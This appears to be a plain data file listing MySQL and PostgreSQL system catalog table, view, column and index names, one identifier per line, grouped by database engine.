+SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +SPINS +SQL_DATA_ACCESS +Sql_delay +sql_drop_index +sql_kill_blocking_connection +sql_kill_blocking_query +SQL_MODE +SQL_PATH +SQL_STATE +sql_text +SRS_ID +SRS_NAME +SSL_ALLOWED +Ssl_ca +SSL_CA_FILE +Ssl_capath +SSL_CA_PATH +Ssl_cert +SSL_CERTIFICATE +Ssl_cipher +Ssl_crl +SSL_CRL_FILE +Ssl_crlpath +SSL_CRL_PATH +Ssl_key +ssl_sessions_reused +ssl_type +Ssl_verify_server_cert +SSL_VERIFY_SERVER_CERTIFICATE +ssl_version +START_LSN +STARTS +start_time +stat_description +STATE +statement +statement_analysis +statement_avg_latency +STATEMENT_ID +statement_latency +STATEMENT_NAME +statements +statements_with_errors_or_warnings +statements_with_full_table_scans +statements_with_runtimes_in_95th_percentile +statements_with_sorting +statements_with_temp_tables +STATISTICS +stat_name +STATS_INITIALIZED +STATUS +status_by_account +status_by_host +status_by_thread +status_by_user +STATUS_KEY +STATUS_VALUE +stat_value +ST_GEOMETRY_COLUMNS +STORAGE_ENGINES +ST_SPATIAL_REFERENCE_SYSTEMS +ST_UNITS_OF_MEASURE +SUB_PART +subpart_exists +SUBPARTITION_EXPRESSION +SUBPARTITION_METHOD +SUBPARTITION_NAME +SUBPARTITION_ORDINAL_POSITION +SUBSYSTEM +SUM_CONNECT_ERRORS +SUM_CPU_TIME +SUM_CREATED_TMP_DISK_TABLES +SUM_CREATED_TMP_TABLES +SUM_ERROR_HANDLED +SUM_ERROR_RAISED +SUM_ERRORS +SUM_LOCK_TIME +SUM_NO_GOOD_INDEX_USED +SUM_NO_INDEX_USED +SUM_NUMBER_OF_BYTES_ALLOC +SUM_NUMBER_OF_BYTES_FREE +SUM_NUMBER_OF_BYTES_READ +SUM_NUMBER_OF_BYTES_WRITE +sum_of_other_index_sizes +SUM_ROWS_AFFECTED +SUM_ROWS_EXAMINED +SUM_ROWS_SENT +SUM_SELECT_FULL_JOIN +SUM_SELECT_FULL_RANGE_JOIN +SUM_SELECT_RANGE +SUM_SELECT_RANGE_CHECK +SUM_SELECT_SCAN +SUM_SORT_MERGE_PASSES +SUM_SORT_RANGE +SUM_SORT_ROWS +SUM_SORT_SCAN +SUM_STATEMENTS_WAIT +SUM_TIMER_DELETE +SUM_TIMER_EXECUTE +SUM_TIMER_FETCH +SUM_TIMER_INSERT +SUM_TIMER_MISC +SUM_TIMER_READ +SUM_TIMER_READ_EXTERNAL +SUM_TIMER_READ_HIGH_PRIORITY +SUM_TIMER_READ_NO_INSERT +SUM_TIMER_READ_NORMAL +SUM_TIMER_READ_ONLY +SUM_TIMER_READ_WITH_SHARED_LOCKS +SUM_TIMER_READ_WRITE +SUM_TIMER_UPDATE +SUM_TIMER_WAIT +SUM_TIMER_WRITE +SUM_TIMER_WRITE_ALLOW_WRITE +SUM_TIMER_WRITE_CONCURRENT_INSERT +SUM_TIMER_WRITE_EXTERNAL +SUM_TIMER_WRITE_LOW_PRIORITY +SUM_TIMER_WRITE_NORMAL +SUM_WARNINGS +Super_priv +SUPPORT +surname +SWAPS +sys_config +sys_version +TABLE_CATALOG +TABLE_COLLATION +TABLE_COMMENT +TABLE_CONSTRAINTS +TABLE_CONSTRAINTS_EXTENSIONS +table_handles +TABLE_ID +table_io_waits_summary_by_index_usage +table_io_waits_summary_by_table +table_lock_waits_summary_by_table +TABLE_NAME +Table_priv +TABLE_PRIVILEGES +TABLE_ROWS +TABLES +table_scans +TABLE_SCHEMA +TABLES_EXTENSIONS +TABLESPACE_NAME +TABLESPACES_EXTENSIONS +tables_priv +TABLE_TYPE +TELEMETRY_ACTIVE +thd_id +thread +thread_id +THREAD_OS_ID +THREAD_PRIORITY +threads +TIME +TIMED +TIME_DISABLED +TIME_ELAPSED +TIME_ENABLED +TIMER_END +TIME_RESET +TIMER_FREQUENCY +TIMER_NAME +TIMER_OVERHEAD +TIMER_PREPARE +TIMER_RESOLUTION +TIMER_START +TIMER_WAIT +Timestamp +time_zone +TIME_ZONE +Time_zone_id +time_zone_leap_second +time_zone_name +time_zone_transition +time_zone_transition_type +tls_channel_status +Tls_ciphersuites +Tls_version +tmp_disk_tables +tmp_tables +tmp_tables_to_disk_pct +TO_HOST +total +total_allocated +TOTAL_CONNECTIONS +TOTAL_EXTENTS +total_latency +TOTAL_MEMORY +total_memory_allocated +total_read +total_requested +TOTAL_ROW_VERSIONS +total_written +TO_USER +TRACE +TRANSACTION_COUNTER +TRANSACTIONS +TRANSACTIONS_COMMITTED_ALL_MEMBERS +Transition_time +Transition_type_id +TRIGGER_CATALOG +TRIGGER_NAME +Trigger_priv +TRIGGERS +TRIGGER_SCHEMA +trx_adaptive_hash_latched +trx_adaptive_hash_timeout +trx_autocommit +trx_autocommit_non_locking +trx_concurrency_tickets +trx_foreign_key_checks +trx_id +trx_isolation_level +trx_is_read_only +trx_last_foreign_key_error +trx_latency +trx_lock_memory_bytes +trx_lock_structs +trx_mysql_thread_id +trx_operation_state +trx_query +trx_requested_lock_id +trx_rows_locked +trx_rows_modified +trx_schedule_weight +trx_started +trx_state +trx_tables_in_use +trx_tables_locked +trx_unique_checks +trx_wait_started +trx_weight +TYPE +UDF_LIBRARY +UDF_NAME +UDF_RETURN_TYPE +UDF_TYPE +UDF_USAGE_COUNT +UNCOMPRESS_CURRENT +UNCOMPRESSED_BYTES_COUNTER +uncompress_ops +uncompress_time +UNCOMPRESS_TOTAL +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_hosts +unique_users +UNIT +UNIT_NAME +UNIT_TYPE +UPDATE_COUNT +update_latency +Update_priv +UPDATE_RULE +updates +UPDATE_TIME +url +Use_leap_seconds +user +USER +User_attributes +USER_ATTRIBUTES +user_defined_functions +user_host +User_name +Username +User_password +USER_PRIVILEGES +users +user_summary +user_summary_by_file_io +user_summary_by_file_io_type +user_summary_by_stages +user_summary_by_statement_latency +user_summary_by_statement_type +user_variables_by_thread +Uuid +VALUE +variable +VARIABLE_NAME +VARIABLE_PATH +variables_by_thread +variables_info +VARIABLE_SOURCE +VARIABLE_VALUE +VCPU_IDS +version +VERSION +VIEW_CATALOG +VIEW_DEFINITION +VIEW_ID +VIEW_NAME +VIEW_ROUTINE_USAGE +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +VOLATILITY +wait_age +wait_age_secs +wait_classes_global_by_avg_latency +wait_classes_global_by_latency +waiting_account +waiting_lock_duration +waiting_lock_id +waiting_lock_mode +waiting_lock_type +waiting_pid +waiting_query +waiting_query_rows_affected +waiting_query_rows_examined +waiting_query_secs +waiting_thread_id +waiting_trx_age +waiting_trx_id +waiting_trx_rows_locked +waiting_trx_rows_modified +waiting_trx_started +waits_by_host_by_latency +waits_by_user_by_latency +waits_global_by_latency +wait_started +warn_count +warning_pct +WARNINGS +Weight +WITH_ADMIN_OPTION +With_grant +WITH_GRANT_OPTION +WORD +WORK_COMPLETED +WORKER_ID +WORK_ESTIMATED +Wrapper +write_latency +WRITE_LOCKED_BY_THREAD_ID +write_pct +x$host_summary +x$host_summary_by_file_io +x$host_summary_by_file_io_type +x$host_summary_by_stages +x$host_summary_by_statement_latency +x$host_summary_by_statement_type +x$innodb_buffer_stats_by_schema +x$innodb_buffer_stats_by_table +x$innodb_lock_waits +x$io_by_thread_by_latency +x$io_global_by_file_by_bytes +x$io_global_by_file_by_latency +x$io_global_by_wait_by_bytes +x$io_global_by_wait_by_latency +x$latest_file_io +x$memory_by_host_by_current_bytes +x$memory_by_thread_by_current_bytes +x$memory_by_user_by_current_bytes +x$memory_global_by_current_bytes +x$memory_global_total +x$processlist +x$ps_digest_95th_percentile_by_avg_us +x$ps_digest_avg_latency_distribution +x$ps_schema_table_statistics_io +x$schema_flattened_keys +x$schema_index_statistics +x$schema_table_lock_waits +x$schema_table_statistics +x$schema_table_statistics_with_buffer +x$schema_tables_with_full_table_scans +x$session +x$statement_analysis +x$statements_with_errors_or_warnings +x$statements_with_full_table_scans +x$statements_with_runtimes_in_95th_percentile +x$statements_with_sorting +x$statements_with_temp_tables +x$user_summary +x$user_summary_by_file_io +x$user_summary_by_file_io_type +x$user_summary_by_stages +x$user_summary_by_statement_latency +x$user_summary_by_statement_type +x$wait_classes_global_by_avg_latency +x$wait_classes_global_by_latency +x$waits_by_host_by_latency +x$waits_by_user_by_latency +x$waits_global_by_latency +x509_issuer +x509_subject +XA +XA_STATE +XID_BQUAL +XID_FORMAT_ID +XID_GTRID +YOUNG_MAKE_PER_THOUSAND_GETS +ZIP_PAGE_SIZE +ZSTD_COMPRESSION_LEVEL + +[PostgreSQL] +abbrev +action_condition +action_order +action_orientation +action_reference_new_row +action_reference_new_table +action_reference_old_row +action_reference_old_table +action_statement +action_timing +active +active_pid +active_time +adbin +address +administrable_role_authorizations +admin_option +adnum +adrelid +aggcombinefn +aggdeserialfn +aggfinalextra +aggfinalfn +aggfinalmodify +aggfnoid +agginitval +aggkind +aggmfinalextra +aggmfinalfn +aggmfinalmodify +aggminitval +aggminvtransfn +aggmtransfn +aggmtransspace +aggmtranstype +aggnumdirectargs +aggserialfn +aggsortop +aggtransfn +aggtransspace +aggtranstype +allocated_size +amhandler +amname +amopfamily +amoplefttype +amopmethod +amopopr +amoppurpose +amoprighttype +amopsortfamily +amopstrategy +amproc +amprocfamily +amproclefttype +amprocnum +amprocrighttype +amtype +analyze_count +applicable_roles +application_name +applied +apply_error_count +archived_count +as_locator +attacl +attalign +attbyval +attcacheoff +attcollation +attcompression +attfdwoptions +attgenerated +atthasdef +atthasmissing +attidentity +attinhcount +attisdropped +attislocal +attlen +attmissingval +attname +attnames +attndims +attnotnull +attnum +attoptions +attrelid +attribute_default +attribute_name +attributes +attribute_udt_catalog +attribute_udt_name +attribute_udt_schema +attstattarget +attstorage +atttypid +atttypmod +auth_method +authorization_identifier +autoanalyze_count +autovacuum_count +avg_width +backend_start +backend_type +backend_xid +backend_xmin +backup_streamed +backup_total +bits +blk_read_time +blks_exists +blks_hit +blks_read +blks_written +blks_zeroed +blk_write_time +block_distance +blocks_done +blocks_total +boot_val +buffers_alloc +buffers_backend +buffers_backend_fsync +buffers_checkpoint +buffers_clean +bytes_processed +bytes_total +cache_size +calls +castcontext +castfunc +castmethod +castsource +casttarget +catalog_name +catalog_xmin +category +cfgname +cfgnamespace +cfgowner +cfgparser +character_maximum_length +character_octet_length +character_repertoire +character_set_catalog +character_set_name +character_sets +character_set_schema +character_value +check_clause +check_constraint_routine_usage +check_constraints +check_option +checkpoints_req +checkpoints_timed +checkpoint_sync_time +checkpoint_write_time +checksum_failures +checksum_last_failure +child_tables_done +child_tables_total +chunk_data +chunk_id +chunk_seq +cipher +classid +classoid +client_addr +client_dn +client_hostname +client_port +client_serial +cluster_index_relid +cmax +cmd +cmin +collation_catalog +collation_character_set_applicability +collation_name +collations +collation_schema +collcollate +collctype +collection_type_identifier +collencoding +colliculocale +collicurules +collisdeterministic +collname +collnamespace +collowner +collprovider +collversion +column_column_usage +column_default +column_domain_usage +column_name +column_options +column_privileges +columns +column_udt_usage +command +comment +comments +commit_action +conbin +condefault +condeferrable +condeferred +conexclop +confdelsetcols +confdeltype +conffeqop +confirmed_flush_lsn +confkey +confl_active_logicalslot +confl_bufferpin +confl_deadlock +conflicting +conflicts +confl_lock +confl_snapshot +confl_tablespace +confmatchtype +conforencoding +confrelid +confupdtype +conindid +coninhcount +conislocal +conkey +conname +connamespace +conninfo +connoinherit +conowner +conparentid +conpfeqop +conppeqop +conproc +conrelid +constraint_catalog +constraint_column_usage +constraint_name +constraint_schema +constraint_table_usage +constraint_type +context +contoencoding +contype +contypid +convalidated +correlation +created +creation_time +credentials_delegated +ctid +current_child_table_relid +current_locker_pid +custom_plans +cycle +cycle_option +data +database +datacl +datallowconn +data_type +data_type_privileges +datcollate +datcollversion +datconnlimit +datctype +datdba +datetime_precision +datfrozenxid +daticulocale +daticurules +datid +datistemplate +datlocprovider +datminmxid +datname +datoid +dattablespace +dbid +deadlocks +defaclacl +defaclnamespace +defaclobjtype +defaclrole +default_character_set_catalog +default_character_set_name +default_character_set_schema +default_collate_catalog +default_collate_name +default_collate_schema +default_version +definition +delete_rule +dependencies +dependent_column +deptype +description +dictinitoption +dictname +dictnamespace +dictowner +dicttemplate +domain_catalog +domain_constraints +domain_default +domain_name +domains +domain_schema +domain_udt_usage +dtd_identifier +elem_count_histogram +element_types +enabled_roles +encoding +encrypted +enforced +enumlabel +enumsortorder +enumtypid +enumvals +error +ev_action +ev_class +ev_enabled +event_manipulation +event_object_catalog +event_object_column +event_object_schema +event_object_table +evictions +ev_qual +evtenabled +evtevent +evtfoid +evtname +evtowner +evttags +ev_type +expr +exprs +extcondition +extconfig +extends +extend_time +external_id +external_language +external_name +extname +extnamespace +extowner +extra_desc +extrelocatable +ext_stats_computed +ext_stats_total +extversion +failed_count +fastpath +fdwacl +fdwhandler +fdwname +fdwoptions +fdwowner +fdwvalidator +feature_id +feature_name +file_name +flushed_lsn +flushes +flush_lag +flush_lsn +foreign_data_wrapper_catalog +foreign_data_wrapper_language +foreign_data_wrapper_name +foreign_data_wrapper_options +foreign_data_wrappers +foreign_server_catalog +foreign_server_name +foreign_server_options +foreign_servers +foreign_server_type +foreign_server_version +foreign_table_catalog +foreign_table_name +foreign_table_options +foreign_tables +foreign_table_schema +form_of_use +free_bytes +free_chunks +from_sql +fsyncs +fsync_time +ftoptions +ftrelid +ftserver +funcid +funcname +generation_expression +generic_plans +gid +granted +grantee +grantor +grolist +groname +grosysid +group_name +gss_authenticated +hasindexes +hasrules +hastriggers +heap_blks_hit +heap_blks_read +heap_blks_scanned +heap_blks_total +heap_blks_vacuumed +heap_tuples_scanned +heap_tuples_written +histogram_bounds +hit +hits +ident +identity_cycle +identity_generation +identity_increment +identity_maximum +identity_minimum +identity_start +idle_in_transaction_time +idx_blks_hit +idx_blks_read +idx_scan +idx_tup_fetch +idx_tup_read +implementation_info_id +implementation_info_name +increment +increment_by +indcheckxmin +indclass +indcollation +indexdef +indexname +indexprs +index_rebuild_count +index_relid +indexrelid +indexrelname +index_vacuum_count +indimmediate +indisclustered +indisexclusion +indislive +indisprimary +indisready +indisreplident +indisunique +indisvalid +indkey +indnatts +indnkeyatts +indnullsnotdistinct +indoption +indpred +indrelid +information_schema_catalog_name +inhdetachpending +inherited +inherit_option +inhparent +inhrelid +inhseqno +initially_deferred +initprivs +installed +installed_version +integer_value +interval_precision +interval_type +io_depth +is_binary +is_deferrable +is_derived_reference_attribute +is_deterministic +is_dst +is_final +is_generated +is_grantable +is_holdable +is_identity +is_implicitly_invocable +is_insertable_into +is_instantiable +is_instead +is_nullable +is_null_call +ispopulated +is_result +is_scrollable +is_self_referencing +issuer_dn +is_supported +is_trigger_deletable +is_trigger_insertable_into +is_trigger_updatable +is_typed +is_udt_dependent +is_updatable +is_user_defined_cast +is_verified_by +key_column_usage +kinds +label +lanacl +laninline +lanispl +lanname +lanowner +lanplcallfoid +lanpltrusted +lanvalidator +last_altered +last_analyze +last_archived_time +last_archived_wal +last_autoanalyze +last_autovacuum +last_failed_time +last_failed_wal +last_idx_scan +last_msg_receipt_time +last_msg_send_time +last_seq_scan +last_vacuum +last_value +latest_end_lsn +latest_end_time +leader_pid +level +library_name +line_number +local_id +local_lsn +lockers_done +lockers_total +locktype +loid +lomacl +lomowner +mapcfg +mapdict +map_name +map_number +mapseqno +maptokentype +match_option +matviewname +matviewowner +max_dead_tuples +max_dynamic_result_sets +maximum_cardinality +maximum_value +max_val +max_value +maxwritten_clean +member +minimum_value +min_val +min_value +mode +module_catalog +module_name +module_schema +most_common_base_freqs +most_common_elem_freqs +most_common_elems +most_common_freqs +most_common_val_nulls +most_common_vals +name +n_dead_tup +n_distinct +netmask +new_savepoint_level +n_ins_since_vacuum +n_live_tup +n_mod_since_analyze +nspacl +nspname +nspowner +n_tup_del +n_tup_hot_upd +n_tup_ins +n_tup_newpage_upd +n_tup_upd +null_frac +nulls_distinct +numbackends +num_dead_tuples +numeric_precision +numeric_precision_radix +numeric_scale +object +object_catalog +object_name +object_schema +object_type +objid +objname +objnamespace +objoid +objsubid +objtype +off +oid +op_bytes +opcdefault +opcfamily +opcintype +opckeytype +opcmethod +opcname +opcnamespace +opcowner +opfmethod +opfname +opfnamespace +opfowner +oprcanhash +oprcanmerge +oprcode +oprcom +oprjoin +oprkind +oprleft +oprname +oprnamespace +oprnegate +oprowner +oprrest +oprresult +oprright +option_name +options +option_value +ordering_category +ordering_form +ordering_routine_catalog +ordering_routine_name +ordering_routine_schema +ordinal_position +owner +pad_attribute +page +pageno +paracl +parameter_default +parameter_mode +parameter_name +parameters +parameter_style +parameter_types +parent +parname +partattrs +partclass +partcollation +partdefid +partexprs +partitions_done +partitions_total +partnatts +partrelid +partstrat +passwd +pending_restart +permissive +pg_aggregate +pg_aggregate_fnoid_index +pg_am +pg_am_name_index +pg_am_oid_index +pg_amop +pg_amop_fam_strat_index +pg_amop_oid_index +pg_amop_opr_fam_index +pg_amproc +pg_amproc_fam_proc_index +pg_amproc_oid_index +pg_attrdef +pg_attrdef_adrelid_adnum_index +pg_attrdef_oid_index +pg_attribute +pg_attribute_relid_attnam_index +pg_attribute_relid_attnum_index +pg_authid +pg_authid_oid_index +pg_authid_rolname_index +pg_auth_members +pg_auth_members_grantor_index +pg_auth_members_member_role_index +pg_auth_members_oid_index +pg_auth_members_role_member_index +pg_available_extensions +pg_available_extension_versions +pg_backend_memory_contexts +pg_cast +pg_cast_oid_index +pg_cast_source_target_index +pg_class +pg_class_oid_index +pg_class_relname_nsp_index +pg_class_tblspc_relfilenode_index +pg_collation +pg_collation_name_enc_nsp_index +pg_collation_oid_index +pg_config +pg_constraint +pg_constraint_conname_nsp_index +pg_constraint_conparentid_index +pg_constraint_conrelid_contypid_conname_index +pg_constraint_contypid_index +pg_constraint_oid_index +pg_conversion +pg_conversion_default_index +pg_conversion_name_nsp_index +pg_conversion_oid_index +pg_cursors +pg_database +pg_database_datname_index +pg_database_oid_index +pg_db_role_setting +pg_db_role_setting_databaseid_rol_index +pg_default_acl +pg_default_acl_oid_index +pg_default_acl_role_nsp_obj_index +pg_depend +pg_depend_depender_index +pg_depend_reference_index +pg_description +pg_description_o_c_o_index +pg_enum +pg_enum_oid_index +pg_enum_typid_label_index +pg_enum_typid_sortorder_index +pg_event_trigger +pg_event_trigger_evtname_index +pg_event_trigger_oid_index +pg_extension +pg_extension_name_index +pg_extension_oid_index +pg_file_settings +pg_foreign_data_wrapper +pg_foreign_data_wrapper_name_index +pg_foreign_data_wrapper_oid_index +_pg_foreign_data_wrappers +pg_foreign_server +pg_foreign_server_name_index +pg_foreign_server_oid_index +_pg_foreign_servers +pg_foreign_table +_pg_foreign_table_columns +pg_foreign_table_relid_index +_pg_foreign_tables +pg_group +pg_hba_file_rules +pg_ident_file_mappings +pg_index +pg_indexes +pg_index_indexrelid_index +pg_index_indrelid_index +pg_inherits +pg_inherits_parent_index +pg_inherits_relid_seqno_index +pg_init_privs +pg_init_privs_o_c_o_index +pg_language +pg_language_name_index +pg_language_oid_index +pg_largeobject +pg_largeobject_loid_pn_index +pg_largeobject_metadata +pg_largeobject_metadata_oid_index +pg_locks +pg_matviews +pg_namespace +pg_namespace_nspname_index +pg_namespace_oid_index +pg_opclass +pg_opclass_am_name_nsp_index +pg_opclass_oid_index +pg_operator +pg_operator_oid_index +pg_operator_oprname_l_r_n_index +pg_opfamily +pg_opfamily_am_name_nsp_index +pg_opfamily_oid_index +pg_parameter_acl +pg_parameter_acl_oid_index +pg_parameter_acl_parname_index +pg_partitioned_table +pg_partitioned_table_partrelid_index +pg_policies +pg_policy +pg_policy_oid_index +pg_policy_polrelid_polname_index +pg_prepared_statements +pg_prepared_xacts +pg_proc +pg_proc_oid_index +pg_proc_proname_args_nsp_index +pg_publication +pg_publication_namespace +pg_publication_namespace_oid_index +pg_publication_namespace_pnnspid_pnpubid_index +pg_publication_oid_index +pg_publication_pubname_index +pg_publication_rel +pg_publication_rel_oid_index +pg_publication_rel_prpubid_index +pg_publication_rel_prrelid_prpubid_index +pg_publication_tables +pg_range +pg_range_rngmultitypid_index +pg_range_rngtypid_index +pg_replication_origin +pg_replication_origin_roiident_index +pg_replication_origin_roname_index +pg_replication_origin_status +pg_replication_slots +pg_rewrite +pg_rewrite_oid_index +pg_rewrite_rel_rulename_index +pg_roles +pg_rules +pg_seclabel +pg_seclabel_object_index +pg_seclabels +pg_sequence +pg_sequences +pg_sequence_seqrelid_index +pg_settings +pg_shadow +pg_shdepend +pg_shdepend_depender_index +pg_shdepend_reference_index +pg_shdescription +pg_shdescription_o_c_index +pg_shmem_allocations +pg_shseclabel +pg_shseclabel_object_index +pg_stat_activity +pg_stat_all_indexes +pg_stat_all_tables +pg_stat_archiver +pg_stat_bgwriter +pg_stat_database +pg_stat_database_conflicts +pg_stat_gssapi +pg_stat_io +pg_statio_all_indexes +pg_statio_all_sequences +pg_statio_all_tables +pg_statio_sys_indexes +pg_statio_sys_sequences +pg_statio_sys_tables +pg_statio_user_indexes +pg_statio_user_sequences +pg_statio_user_tables +pg_statistic +pg_statistic_ext +pg_statistic_ext_data +pg_statistic_ext_data_stxoid_inh_index +pg_statistic_ext_name_index +pg_statistic_ext_oid_index +pg_statistic_ext_relid_index +pg_statistic_relid_att_inh_index +pg_stat_progress_analyze +pg_stat_progress_basebackup +pg_stat_progress_cluster +pg_stat_progress_copy +pg_stat_progress_create_index +pg_stat_progress_vacuum +pg_stat_recovery_prefetch +pg_stat_replication +pg_stat_replication_slots +pg_stats +pg_stats_ext +pg_stats_ext_exprs +pg_stat_slru +pg_stat_ssl +pg_stat_subscription +pg_stat_subscription_stats +pg_stat_sys_indexes +pg_stat_sys_tables +pg_stat_user_functions +pg_stat_user_indexes +pg_stat_user_tables +pg_stat_wal +pg_stat_wal_receiver +pg_stat_xact_all_tables +pg_stat_xact_sys_tables +pg_stat_xact_user_functions +pg_stat_xact_user_tables +pg_subscription +pg_subscription_oid_index +pg_subscription_rel +pg_subscription_rel_srrelid_srsubid_index +pg_subscription_subname_index +pg_tables +pg_tablespace +pg_tablespace_oid_index +pg_tablespace_spcname_index +pg_timezone_abbrevs +pg_timezone_names +pg_toast_1213 +pg_toast_1213_index +pg_toast_1247 +pg_toast_1247_index +pg_toast_1255 +pg_toast_1255_index +pg_toast_1260 +pg_toast_1260_index +pg_toast_1262 +pg_toast_1262_index +pg_toast_13494 +pg_toast_13494_index +pg_toast_13499 +pg_toast_13499_index +pg_toast_13504 +pg_toast_13504_index +pg_toast_13509 +pg_toast_13509_index +pg_toast_1417 +pg_toast_1417_index +pg_toast_1418 +pg_toast_1418_index +pg_toast_2328 +pg_toast_2328_index +pg_toast_2396 +pg_toast_2396_index +pg_toast_2600 +pg_toast_2600_index +pg_toast_2604 +pg_toast_2604_index +pg_toast_2606 +pg_toast_2606_index +pg_toast_2609 +pg_toast_2609_index +pg_toast_2612 +pg_toast_2612_index +pg_toast_2615 +pg_toast_2615_index +pg_toast_2618 +pg_toast_2618_index +pg_toast_2619 +pg_toast_2619_index +pg_toast_2620 +pg_toast_2620_index +pg_toast_2964 +pg_toast_2964_index +pg_toast_3079 +pg_toast_3079_index +pg_toast_3118 +pg_toast_3118_index +pg_toast_3256 +pg_toast_3256_index +pg_toast_3350 +pg_toast_3350_index +pg_toast_3381 +pg_toast_3381_index +pg_toast_3394 +pg_toast_3394_index +pg_toast_3429 +pg_toast_3429_index +pg_toast_3456 +pg_toast_3456_index +pg_toast_3466 +pg_toast_3466_index +pg_toast_3592 +pg_toast_3592_index +pg_toast_3596 +pg_toast_3596_index +pg_toast_3600 +pg_toast_3600_index +pg_toast_6000 +pg_toast_6000_index +pg_toast_6100 +pg_toast_6100_index +pg_toast_6106 +pg_toast_6106_index +pg_toast_6243 +pg_toast_6243_index +pg_toast_826 +pg_toast_826_index +pg_transform +pg_transform_oid_index +pg_transform_type_lang_index +pg_trigger +pg_trigger_oid_index +pg_trigger_tgconstraint_index +pg_trigger_tgrelid_tgname_index +pg_ts_config +pg_ts_config_cfgname_index +pg_ts_config_map +pg_ts_config_map_index +pg_ts_config_oid_index +pg_ts_dict +pg_ts_dict_dictname_index +pg_ts_dict_oid_index +pg_ts_parser +pg_ts_parser_oid_index +pg_ts_parser_prsname_index +pg_ts_template +pg_ts_template_oid_index +pg_ts_template_tmplname_index +pg_type +pg_type_oid_index +pg_type_typname_nsp_index +pg_user +pg_user_mapping +pg_user_mapping_oid_index +_pg_user_mappings +pg_user_mappings +pg_user_mapping_user_server_index +pg_username +pg_views +phase +pid +plugin +pnnspid +pnpubid +polcmd +policyname +polname +polpermissive +polqual +polrelid +polroles +polwithcheck +position_in_unique_constraint +prattrs +prefetch +prepared +prepare_time +principal +privilege_type +privtype +proacl +proallargtypes +proargdefaults +proargmodes +proargnames +proargtypes +probin +proconfig +procost +proisstrict +prokind +prolang +proleakproof +proname +pronamespace +pronargdefaults +pronargs +proowner +proparallel +proretset +prorettype +prorows +prosecdef +prosqlbody +prosrc +prosupport +protrftypes +provariadic +provider +provolatile +prpubid +prqual +prrelid +prsend +prsheadline +prslextype +prsname +prsnamespace +prsstart +prstoken +puballtables +pubdelete +pubinsert +pubname +pubowner +pubtruncate +pubupdate +pubviaroot +qual +query +query_id +query_start +reads +read_time +received_lsn +received_tli +receive_start_lsn +receive_start_tli +refclassid +ref_dtd_identifier +reference_generation +reference_type +referential_constraints +refobjid +refobjsubid +relacl +relallvisible +relam +relation +relchecks +relfilenode +relforcerowsecurity +relfrozenxid +relhasindex +relhasrules +relhassubclass +relhastriggers +relid +relispartition +relispopulated +relisshared +relkind +relminmxid +relname +relnamespace +relnatts +relocatable +reloftype +reloptions +relowner +relpages +relpartbound +relpersistence +relreplident +relrewrite +relrowsecurity +reltablespace +reltoastrelid +reltuples +reltype +remote_lsn +replay_lag +replay_lsn +reply_time +requires +reset_val +restart_lsn +result_cast_as_locator +result_cast_char_max_length +result_cast_char_octet_length +result_cast_char_set_catalog +result_cast_char_set_name +result_cast_char_set_schema +result_cast_collation_catalog +result_cast_collation_name +result_cast_collation_schema +result_cast_datetime_precision +result_cast_dtd_identifier +result_cast_from_data_type +result_cast_interval_precision +result_cast_interval_type +result_cast_maximum_cardinality +result_cast_numeric_precision +result_cast_numeric_precision_radix +result_cast_numeric_scale +result_cast_scope_catalog +result_cast_scope_name +result_cast_scope_schema +result_cast_type_udt_catalog +result_cast_type_udt_name +result_cast_type_udt_schema +result_types +reuses +rngcanonical +rngcollation +rngmultitypid +rngsubdiff +rngsubopc +rngsubtype +rngtypid +roident +rolbypassrls +rolcanlogin +rolconfig +rolconnlimit +rolcreatedb +rolcreaterole +role_column_grants +roleid +role_name +role_routine_grants +roles +role_table_grants +role_udt_grants +role_usage_grants +rolinherit +rolname +rolpassword +rolreplication +rolsuper +rolvaliduntil +roname +routine_body +routine_catalog +routine_column_usage +routine_definition +routine_name +routine_privileges +routine_routine_usage +routines +routine_schema +routine_sequence_usage +routine_table_usage +routine_type +rowfilter +rowsecurity +rulename +rule_number +safe_wal_size +sample_blks_scanned +sample_blks_total +schema +schema_level_routine +schema_name +schemaname +schema_owner +schemata +scope_catalog +scope_name +scope_schema +security_type +self_referencing_column_name +self_time +sender_host +sender_port +sent_lsn +seqcache +seqcycle +seqincrement +seqmax +seqmin +seqno +seqrelid +seq_scan +seqstart +seq_tup_read +seqtypid +sequence_catalog +sequence_name +sequencename +sequenceowner +sequences +sequence_schema +sessions +sessions_abandoned +sessions_fatal +sessions_killed +session_time +setconfig +setdatabase +set_option +setrole +setting +short_desc +size +sizing_id +sizing_name +skip_fpw +skip_init +skip_new +skip_rep +slot_name +slot_type +source +source_dtd_identifier +sourcefile +sourceline +spcacl +spcname +spcoptions +spcowner +specific_catalog +specific_name +specific_schema +spill_bytes +spill_count +spill_txns +sql_data_access +sql_features +sql_implementation_info +sql_parts +sql_path +sql_sizing +srrelid +srsubid +srsublsn +srsubstate +srvacl +srvfdw +srvid +srvname +srvoptions +srvowner +srvtype +srvversion +ssl +staattnum +stacoll1 +stacoll2 +stacoll3 +stacoll4 +stacoll5 +stadistinct +stainherit +stakind1 +stakind2 +stakind3 +stakind4 +stakind5 +stanullfrac +stanumbers1 +stanumbers2 +stanumbers3 +stanumbers4 +stanumbers5 +staop1 +staop2 +staop3 +staop4 +staop5 +starelid +start_value +state +state_change +statement +statistics_name +statistics_owner +statistics_schemaname +stats_reset +status +stavalues1 +stavalues2 +stavalues3 +stavalues4 +stavalues5 +stawidth +stream_bytes +stream_count +stream_txns +stxddependencies +stxdexpr +stxdinherit +stxdmcv +stxdndistinct +stxexprs +stxkeys +stxkind +stxname +stxnamespace +stxoid +stxowner +stxrelid +stxstattarget +subbinary +subconninfo +subdbid +subdisableonerr +subenabled +sub_feature_id +sub_feature_name +subid +subname +suborigin +subowner +subpasswordrequired +subpublications +subrunasowner +subskiplsn +subslotname +substream +subsynccommit +subtwophasestate +superuser +supported_value +sync_error_count +sync_priority +sync_state +sys_name +table_catalog +table_constraints +table_name +tablename +tableoid +tableowner +table_privileges +tables +table_schema +tablespace +tablespaces_streamed +tablespaces_total +table_type +temp_bytes +temp_files +temporary +tgargs +tgattr +tgconstraint +tgconstrindid +tgconstrrelid +tgdeferrable +tgenabled +tgfoid +tginitdeferred +tgisinternal +tgname +tgnargs +tgnewtable +tgoldtable +tgparentid +tgqual +tgrelid +tgtype +tidx_blks_hit +tidx_blks_read +tmplinit +tmpllexize +tmplname +tmplnamespace +toast_blks_hit +toast_blks_read +to_sql_specific_catalog +to_sql_specific_name 